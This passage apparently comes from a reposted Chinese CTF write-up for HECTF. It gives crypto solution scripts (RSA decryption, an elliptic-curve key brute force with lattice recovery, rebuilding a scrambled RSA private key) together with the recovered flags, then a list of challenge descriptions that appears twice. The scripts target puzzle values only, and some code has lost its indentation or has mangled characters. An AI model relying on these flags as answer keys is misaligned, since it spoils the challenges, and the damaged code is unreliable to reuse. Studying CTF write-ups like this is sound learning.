t(a1, b1, k+1)
for i in range(10):
t(i*(10**77), i*(10**77), 0)
import base64
from Crypto.Util.number import inverse, long_to_bytes
p = 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
q = 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
e = 65537
n=p*q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
m = long_to_bytes(m)
m = base64.b64decode(m)
print(m)
#b'HECTF{I_rea1ly_l0ve_c2ypto!}'
不合格的魔药:
根据题目描述的提示可以看到题目中好几处参数不合理的地方,比如p,q的大小等,因为异或操作并不会把多余的部分去掉,所以密文中泄露了很多消息,但还有一个问题就是如何求key,这时一个ECDLP问题,可以采用MOV攻击,不过既然参数不合理,也可以尝试爆破
from Crypto.Util.number import bytes_to_long,long_to_bytes
from Crypto.Cipher import AES
from hashlib import *
p = 9604080254440553624043823039323876524034439909584709693304859297324410855942111467832096190746534800378359779991381701244554754870303658957438266614583487
q = 7117529167860499983120234872664469946810713755399747931099511148595647881645694071900284496403308583631053530870961375928947111857317803005696543076720079
a = 4681007517868949260473646867708411042804596292653498068045093108939357065240201843535644313612886376810286247810943227474659270191834401055704514648846995
b = 5604862515726338933576748414825616582947323501967288114322080747741801017833194347273532400730033226601964489467416955741018175785792514035352083708135431
x = 5544706922427110224110125906620053049906095568886481576326706308027915868515721429471522223193053363494813044921519216114372968191072598748704528735817403
x1 = 0x2fa8e23f18ed4a9bd752a0c22b0750c17fbb66c76554e2089258fd979a5736b7766c974fb9788acf17fb065dc1daec6a8a6e98021de6c4ce3cde11dd54590e1d
y1 = 0xa3ce4bb1e25563b577a45cd06153d2dab584a70130c7ae71e65fe5e11b60493ccb845fbe4989dbd4a60d6a1ff12baa268b8833ed30f7c7e21c32268a139b5b6b
c = [36780810764729391947601691590378765170863850291763672158886689602006275675399596108959250284869355070618680265311484525337488013177333417742808496794250706127014303883956401715343247310936978778751394980638177344654524711571648231122027699452582302505466999915200896495338587961829985149664712686944510559820, 20958199004445348755624931477686903609410629089817702686793041731031202915294487428236505796231417377524290926704880107242252471250791747709149963693453815320856114055076830778689575609444155241642860745570792018879816650383543271943138193405548674967958109800776284787612370057476837642989670234913968669332, 19758181515666300263334531148587391869707566215385658759724970483060039216682585723722462835458856503531814316860237786892749700501436669071048571605926728917066797641628644730857333648930286503355701843365288276242984029888215453858844295912023305616753086127934173496355853797241944921600781294012353332277, 45576628433681427718167093217006549620067042472164439269014690121698560736312716407875326404496263261341269644373184438703912129559084380247641072914940830606649124606611794031719696797961847217643536070335745057048220615012019629278484208808353027070994021979997462190775853832457224157083880895894000484461]
# 先求key,可以用MOV攻击,也可以直接爆破,这里直接爆破了
Ep = EllipticCurve(GF(p), [a, 0])
G = Ep.lift_x(x)
hint1 = Ep(x1, y1)
for key in range(100000):
if hint1 == key * G:
print(key)
break
# key = 51517
# 然后求flag,可以用铜匠定理也可以构造格子
n = p*q
k = md5(long_to_bytes(key)).hexdigest().encode()
Cur=EllipticCurve(Zmod(n),[a,b])
aes = AES.new(k, AES.MODE_ECB)
m=[]
def recover(x,y):
M=Matrix(ZZ,[[1,0,0,0,0,0,1*2^512],
[0,2^128,0,0,0,0,3*x*2^512],
[0,0,2^256,0,0,0,(3*x^2+a)*2^512],
[0,0,0,2^128,0,0,-1*2^512],
[0,0,0,0,2^256,0,-2*y*2^512],
[0,0,0,0,0,2^512,(x^3+a*x-y^2+b)*2^512],
[0,0,0,0,0,0,n*2^512]])
v=M.LLL()[-1]
dx=int(v[2])//2^256
dy=int(v[4])//2^256
gx=x+dx
gy=y+dy
m.append(x^^gx)
m.append(y^^gy)
recover(c[0],c[1])
recover(c[2],c[3])
out=b''
for i in m:
out+=aes.decrypt(long_to_bytes(i))
flag = b'HECTF{'+ out+ b'}'
print(flag)
情书与破碎的证书
首先我们需要知道证书的基本格式 在证书中必然含有-----BEGIN PRIVATE KEY-----
这一段可以拆成
2d 2d 2d 2d 2d 42 45 47 49
4e 20 50 52 49 56 41 54 45
20 4b 45 59 2d 2d 2d 2d 2d
和已经整理好的相比
49 47 45 42 2d 2d 2d 2d 2d
45 54 41 56 49 52 50 20 4e
2d 2d 2d 2d 2d 59 45 4b 20
很容易看出1和9换 2和8换 3和7换 4和6换
我们将证书整理一下 可以得
30 82 04 bc 02 01 00 30 0d
06 09 2a 86 48 86 f7 0d 01
01 01 05 00 04 82 04 a6 30
82 04 a2 02 01 00 02 82 01
01 00 bd db 99 13 77 8d 23
15 44 9b 58 7f bd 7f 6e 41
94 4d 1c 9c 54 84 c9 b0 1f
bf 53 44 93 35 5c f8 84 89
cb f9 63 0f 42 99 bb 4d bb
84 df 7b d6 60 7b 7a 57 8f
84 e4 c6 d6 a7 0f 50 6c 16
a4 31 1b 15 08 e3 97 5d b7
1e 71 d6 d2 d1 7d d7 5b 9c
23 e2 d4 37 bc f7 f5 d9 50
6e 76 3c 71 22 a5 76 fd 5c
15 90 5a b4 5f eb a2 0a 24
12 86 28 5b 8b a5 d6 db d1
b7 d0 ce 97 5a b7 4e ae 33
8f e0 dd 5a 19 4d 02 91 8e
4f 0a d6 d1 60 f1 b7 30 74
3f c2 c8 eb 74 db 01 08 9d
21 0d 50 c5 aa 1f 25 97 93
b5 12 b2 6a 8f 3e 62 cc 6a
95 e9 ce f6 5e 5d 49 e9 e6
6d 35 2d db b1 40 8f a9 fe
5b 29 a1 64 2c 61 d2 c4 d3
2c 66 c5 6d d6 fa 36 39 b2
14 6b 1f 59 29 89 6a ba b4
b1 ed 35 ec f5 7d d6 30 ce
ca c1 5f cc 6b 74 3f 97 f0
86 f2 c6 04 0e 66 e9 1e 92
05 31 ba 61 2b e1 92 7b 67
54 52 5e 08 e5 19 02 03 01
00 01 02 82 01 00 04 62 04
中间被打碎了
d4 8d 90 d8 0f 02 81 80 51
a5 f7 e7 f4 c0 50 a5 0e 18
fd e1 2f ce e2 64 6f 2b 43
16 0b 0c 75 ab 49 25 e8 26
9a e8 0e 70 cf 12 73 4f 41
fa b1 8d 04 24 ed 7c ce b7
dd b2 7c be 0f 55 4f 7a 6e
16 98 d4 ec 5b a2 b4 8d 61
2e 23 37 ae b7 5f 8a 57 d8
15 5a 11 d0 7b 2c 49 d3 d9
7c 4f f0 cf b8 9e 6d d4 f3
6c c3 7c 01 0b 5b c8 93 56
a3 9b 57 6c c3 ed d0 3c dc
4d 79 1d f5 09 1a 55 71 df
1a 6c 15 ee da a0 77 3c f3
cf 02 81 80 0f c6 1f 05 d1
9c 96 ee c3 ed ca cc a3 4e
1d 3e 2c ab 43 9b eb ab 66
93 a3 ce 2c a9 9f 88 ab 9c
dd 18 3c eb 8e 80 1d 82 98
f8 35 35 98 64 ef 19 1d b3
f5 32 69 97 6b a0 4b 03 60
6e 54 08 59 de cd 05 80 5c
4a a7 9d c6 db 22 38 06 58
ea f0 bf fb a0 f4 e7 19 bc
f1 b1 e0 41 69 d8 e0 cb 3a
f4 d9 0b 2e 62 d7 c7 ed 30
45 d4 9b 52 5c a7 15 ca 3b
84 f0 7b 4e ce 27 d0 4d 17
95 29 9f a1 86 cd 02 81 80
25 c2 0a b2 52 9f 1e fd 3d
35 34 7c 57 3b 28 2a bf d9
5b 26 4c 92 f6 c4 f9 ec 8b
7c 71 32 06 fb ea 18 86 88
0e 29 a3 6c 47 ef 9b b7 53
ce 95 67 ea 4d 3e 08 3c 30
f3 44 02 2f 95 b7 cd 71 14
81 3b f6 a2 8e cc 67 d5 fe
05 95 32 42 68 4c d2 9c 1c
5d d8 a7 44 16 89 0e 5c 94
3c 70 90 4b a7 0e 34 9b 15
71 9a 46 6f 90 1f bf 0c fc
78 40 f8 03 2e 31 af bc cf
b8 4f 4a 81 7e a5 1c 8f 90
fd 6a 2d 2d 2d 2d 2d 45 4e
44 20 50 52 49 56 41 54 45
20 4b 45 59 2d 2d 2d 2d 2d
根据rsa证书格式 我们可以得到
标识头 30
总长度 82 04bc
版本信息 0201 00300d06092a864886f70d0101010500048204a6308204a2020100
n 02820101 00bddb9913778d2315449b587fbd7f6e41944d1c9c5484c9b01fbf534493355cf88489cbf9630f4299bb4dbb84df7bd6607b7a578f84e4c6d6a70f506c16a4311b1508e3975db71e71d6d2d17dd75b9c23e2d437bcf7f5d9506e763c7122a576fd5c15905ab45feba20a241286285b8ba5d6dbd1b7d0ce975ab74eae338fe0dd5a194d02918e4f0ad6d160f1b730743fc2c8eb74db01089d210d50c5aa1f259793b512b26a8f3e62cc6a95e9cef65e5d49e9e66d352ddbb1408fa9fe5b29a1642c61d2c4d32c66c56dd6fa3639b2146b1f5929896abab4b1ed35ecf57dd630cecac15fcc6b743f97f086f2c6040e66e91e920531ba612be1927b6754525e08e519
e 0203 010001
d 02820100
046204(没用)
q d48d90d80f(没用)
dp 028180
51a5f7e7f4c050a50e18fde12fcee2646f2b43160b0c75ab4925e8269ae80e70cf12734f41fab18d0424ed7cceb7ddb27cbe0f554f7a6e1698d4ec5ba2b48d612e2337aeb75f8a57d8155a11d07b2c49d3d97c4ff0cfb89e6dd4f36cc37c010b5bc89356a39b576cc3edd03cdc4d791df5091a5571df1a6c15eedaa0773cf3cf
dq 028180
0fc61f05d19c96eec3edcacca34e1d3e2cab439bebab6693a3ce2ca99f88ab9cdd183ceb8e801d8298f835359864ef191db3f53269976ba04b03606e540859decd05805c4aa79dc6db22380658eaf0bffba0f4e719bcf1b1e04169d8e0cb3af4d90b2e62d7c7ed3045d49b525ca715ca3b84f07b4ece27d04d1795299fa186cd
inv(q,p) 028180
25c20ab2529f1efd3d35347c573b282abfd95b264c92f6c4f9ec8b7c713206fbea1886880e29a36c47ef9bb753ce9567ea4d3e083c30f344022f95b7cd7114813bf6a28ecc67d5fe05953242684cd29c1c5dd8a74416890e5c943c70904ba70e349b15719a466f901fbf0cfc7840f8032e31afbccfb84f4a817ea51c8f90fd6a
可以通过openssl进行一些了解 或者修补私钥 但不是本题的考点
(上图为openssl中修好的秘钥 可以看到十六进制部分是相同的)
得到这些后 我们就可以来一个简单的dp泄露
但是要注意,我之前提到了明文中有中文,所以我们需要使用 PKCS1_OAEP 解密器
传统的解密脚本无效
以下是脚本
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import inverse, long_to_bytes
import binascii
hex_p = “0x00efaf90cae18eedc592a6cc57e6f4fb8812cd663274c90c0c82240b4a13c6d1772bab4f32f087cf3179f93513da0775529422f3c1ed5a0b8c2bd81bcd65a2451eab291585d1f39cc7dfc4c36ef2ff0e9be22d9252c80c7e11cd493542c27731965a5603dde878356433d07b99431eb69dc9856931583e9ced764503bded010857”
hex_q = “0x00cac7cc600b5e888df3f9e905d48d088d1a15819dbde1c8501028ffe3b02bf237acb277b43eda8a2110e9b6931cbfffe6eeade466611be17454f2d0c848a567e77065e82ff4f2aa0de7bfe1e622d060f67a5f6fc87e5859ed6aec857cf8124418b4c73a40628fdddd002504444acb31fb0b4ea35068ec8c1ffb933ed48d90d80f”
hex_e = “0x10001”
hex_c = “0x92c8bf09c04cf0193306f9203b19956fbcbe796c6e65fdaefeb49c5fb0391c1f78552d5fb4385ba3dfd11efb23759fdc386a2336e827b0be5b3514522b8063149d584edef58f2d64b4e8d6c9e5813de1d27b4c3fe970abfb4495700ed04b496bf1eb8d90b5a836ba3d852e0038d943ce116d691ec1490750c62b1cd19a1816ade9325c9ac739255b1c24e95cc387050ff521c3f60882efe33c66409498654ed39bc6c1253c21e3e78dc67937666a2ae64826cfe4767f24a5712069ec3a31e0f36ce4ef473041f8df8e553e72771d81b6ef75a95d29172483fcc33ea9c396f98af037527d4f6bd0cbf033e1f8263aba1f1cb35fca87e119c4b953526be191ada6”
p = int(hex_p, 16)
q = int(hex_q, 16)
e = int(hex_e, 16)
c = int(hex_c, 16)
n = p * q
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
rsa_key = RSA.construct((n, e, d, p, q))
# 使用 PKCS1_OAEP 初始化解密器
cipher = PKCS1_OAEP.new(rsa_key)
# 将密文转为字节形式
ciphertext_bytes = long_to_bytes©
decrypted_message_bytes = cipher.decrypt(ciphertext_bytes)
# 将解密后的字节数据转换为字符串,使用 UTF-8 解码
message = decrypted_message_bytes.decode(‘utf-8’)
print(“Decrypted Message:”, message)
Decrypted Message: 你知道么,rsa的大数分解的坚固就像爱情一样坚不可摧,你愿意让我们也像rsa一样坚不可摧么?但是你并不关心结局,你只关心你的flag:HECTF{t1an_dog_no_g3t_g00d_d1e}
题目描述记录:
Web:
Are u happy
题目描述:
开始开心地玩耍吧!
baby_sql
题目描述:
g01den的公司里有个记录员工打卡的后台,只有admin才能登陆,但是,g01den发现,每次去公司视察的时候公司里的员工总数始终和打卡了的员工数目对不上,g01den怀疑公司里的某位员工利用了漏洞,于是他在后台程序里增加了一些WAF,并且他对他自己的WAF很自信,并暗示了那位员工他在数据库里放了一个重要的信息(flag),能拿到这个信息(flag)的人年终可以获得额外的奖金。作为那位员工的你应该如何拿到这个信息获得奖金呢? flag由HECTF开头,得到的答案请将hectf修改为大写HECTF,flag中除了开头的HECTF外,无大写字母
baby_unserialize
题目描述:
一个简单的反序列化,一个简单的RCE
你一个人专属的进货网站
题目描述:
w41tm00n第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞你作为w41tm00n的好朋友,同时你是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。w41tm00n跟你说,他放了一个线索在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
ezweb
题目描述:
Try to be admin to get flag!!!
提示1Hint:xxxxx为c、e、f、h、t 这五个没大没小的字母
ezjava
题目描述:
A了这道题,我就承认你是真正的奶龙
Re
babyre
题目描述:
g01den最近学会了一个简单的算法,于是他迫不及待的写下了这个程序。同时他在这个程序里面藏了一些秘密,你能发现他藏在程序里面的秘密吗?
littleasm
题目描述:
百行代码里的藏匿的flag
PE?py?
题目描述:
在pyre里找到压缩包密码
easyree
题目描述:
flag格式HECTF{xxxx}
ezAndroid
题目描述:
Pwn
sign in
题目描述:
快来签到吧…
find eggy
题目描述:
Arcaea_Sorting
题目描述:
–为何我的眼里常含泪水,因为我爱这libc,爱得深沉 (▽)
听好了:
XX月XX日,g01den自制的查分系统正式完工,每个部署了该系统的服务器都将会迎来一场漩涡,为这些服务器带来全新的危机。
你所购买的服务器都将迎来黑客的试炼,你所熟悉的服务器都将加诸栈溢出的历练。
至此,一锤定音。
尘埃,已然落定。
#HECTF #听好了 #韵律源点
Arcaea_Sorting_Revenge
题目描述:
g01den得知他写的查分器存在漏洞,他害怕到大晚上睡不着,第二天一早火急火燎地把程序重写了,但是他突然发现他学艺不精,突然不会写链表数据结构了,于是,他将查分器改成了存储分数的存储器,希望这次不会出现安全性问题。
喵喵喵
题目描述:
lip
题目描述:
Crypto
迷茫的艾米莉
题目描述:
题目描述:迷茫的艾米莉 描述:在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园
翻一翻
题目描述:
小明最近失恋了,翻来覆去睡不着,请帮他找出失恋的关键信息
seven more
题目描述:
more than more no co-prime
情书与破碎的证书
题目描述:
小明喜欢上了小红,他使用rsa向小红发送了无数封含有中文字符的情书。终于小红忍不住了,找到了大嘿阔将小明的私钥证书打成碎片,移除了中间的内容并把上下段的私钥部分转化成16进制,以九个为一组用相同的方式打乱(转化时产生的0d0a换行符已被移除)。作为密码学大佬的你能恢复证书,找出小红忍无可忍的证据么?
提示1情书与破碎的证书 hint1:字符中含有中文 常规输出方法无效,请使用 PKCS1_OAEP 解密器,并使用 cipher.decrypt() 解密密文(毕竟考点是证书)
不合格的魔药
题目描述:
刚开始学习魔药的小A总是只关注魔药的颜色而忽略配比,这次他配置的魔药又是这样,这样一份不合格的魔药完全没办法达到对信息“保密”的效果了,请从这份面目全非的成品中还原出小A想隐藏的信息
Misc
Rem_You
题目描述:
funny
题目描述:
看了半天电脑的小明非常劳累,便摸鱼去楼下的广场逛一逛但觉得广场太吵闹了,又去了水边看大爷们钓鱼,你能找出小明去的广场和水边的名字嘛
flag格式 HECTF{北京市-区-广场名字-水边名字} HECTF{省-市-广场名字-水边名字}
简单的压缩包
题目描述:
w41tm00n是个kisaki推,某天在水群的时候,一个同为kisaki推的g01den在群里分享了个压缩包,并留言里面有一张kisaki的图,同时里面还存在着神秘的信息(这里是flag),w41tm00n对此很感兴趣,你可以帮他得到神秘的信息(flag)吗?
恶势力的仓库
题目描述:
恶势力的仓库惨遭毒手,就代表着毒手伸进了恶势力的仓库
恶势力的聊天记录
题目描述:
附件下载地址: 链接:https://pan.baidu.com/s/1bGEqgrRgqZ61U8TxAD7qNA 提取码:o07y
答案请将hectf修改为大写HECTF,flag中除了开头的HECTF外,无大写字母
baby_unserialize
题目描述:
一个简单的反序列化,一个简单的RCE
你一个人专属的进货网站
题目描述:
w41tm00n第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞你作为w41tm00n的好朋友,同时你是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。w41tm00n跟你说,他放了一个线索在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
ezweb
题目描述:
Try to be admin to get flag!!!
提示1Hint:xxxxx为c、e、f、h、t 这五个没大没小的字母
ezjava
题目描述:
A了这道题,我就承认你是真正的奶龙
Re
babyre
题目描述:
g01den最近学会了一个简单的算法,于是他迫不及待的写下了这个程序。同时他在这个程序里面藏了一些秘密,你能发现他藏在程序里面的秘密吗?
littleasm
题目描述:
百行代码里的藏匿的flag
PE?py?
题目描述:
在pyre里找到压缩包密码
easyree
题目描述:
flag格式HECTF{xxxx}
ezAndroid
题目描述:
Pwn
sign in
题目描述:
快来签到吧…
find eggy
题目描述:
Arcaea_Sorting
题目描述:
–为何我的眼里常含泪水,因为我爱这libc,爱得深沉 (▽)
听好了:
XX月XX日,g01den自制的查分系统正式完工,每个部署了该系统的服务器都将会迎来一场漩涡,为这些服务器带来全新的危机。
你所购买的服务器都将迎来黑客的试炼,你所熟悉的服务器都将加诸栈溢出的历练。
至此,一锤定音。
尘埃,已然落定。
#HECTF #听好了 #韵律源点
Arcaea_Sorting_Revenge
题目描述:
g01den得知他写的查分器存在漏洞,他害怕到大晚上睡不着,第二天一早火急火燎地把程序重写了,但是他突然发现他学艺不精,突然不会写链表数据结构了,于是,他将查分器改成了存储分数的存储器,希望这次不会出现安全性问题。
喵喵喵
题目描述:
lip
题目描述:
Crypto
迷茫的艾米莉
题目描述:
题目描述:迷茫的艾米莉 描述:在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园
翻一翻
题目描述:
小明最近失恋了,翻来覆去睡不着,请帮他找出失恋的关键信息
seven more
题目描述:
more than more no co-prime
情书与破碎的证书
题目描述:
小明喜欢上了小红,他使用rsa向小红发送了无数封含有中文字符的情书。终于小红忍不住了,找到了大嘿阔将小明的私钥证书打成碎片,移除了中间的内容并把上下段的私钥部分转化成16进制,以九个为一组用相同的方式打乱(转化时产生的0d0a换行符已被移除)。作为密码学大佬的你能恢复证书,找出小红忍无可忍的证据么?
提示1情书与破碎的证书 hint1:字符中含有中文 常规输出方法无效,请使用 PKCS1_OAEP 解密器,并使用 cipher.decrypt() 解密密文(毕竟考点是证书)
不合格的魔药
题目描述:
刚开始学习魔药的小A总是只关注魔药的颜色而忽略配比,这次他配置的魔药又是这样,这样一份不合格的魔药完全没办法达到对信息“保密”的效果了,请从这份面目全非的成品中还原出小A想隐藏的信息
Misc
Rem_You
题目描述:
funny
题目描述:
看了半天电脑的小明非常劳累,便摸鱼去楼下的广场逛一逛但觉得广场太吵闹了,又去了水边看大爷们钓鱼,你能找出小明去的广场和水边的名字嘛
flag格式 HECTF{北京市-区-广场名字-水边名字} HECTF{省-市-广场名字-水边名字}
简单的压缩包
题目描述:
w41tm00n是个kisaki推,某天在水群的时候,一个同为kisaki推的g01den在群里分享了个压缩包,并留言里面有一张kisaki的图,同时里面还存在着神秘的信息(这里是flag),w41tm00n对此很感兴趣,你可以帮他得到神秘的信息(flag)吗?
恶势力的仓库
题目描述:
恶势力的仓库惨遭毒手,就代表着毒手伸进了恶势力的仓库
恶势力的聊天记录
题目描述:
附件下载地址: 链接:https://pan.baidu.com/s/1bGEqgrRgqZ61U8TxAD7qNA 提取码:o07y
原文地址:https://blog.csdn.net/qq_66013948/article/details/144357656
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!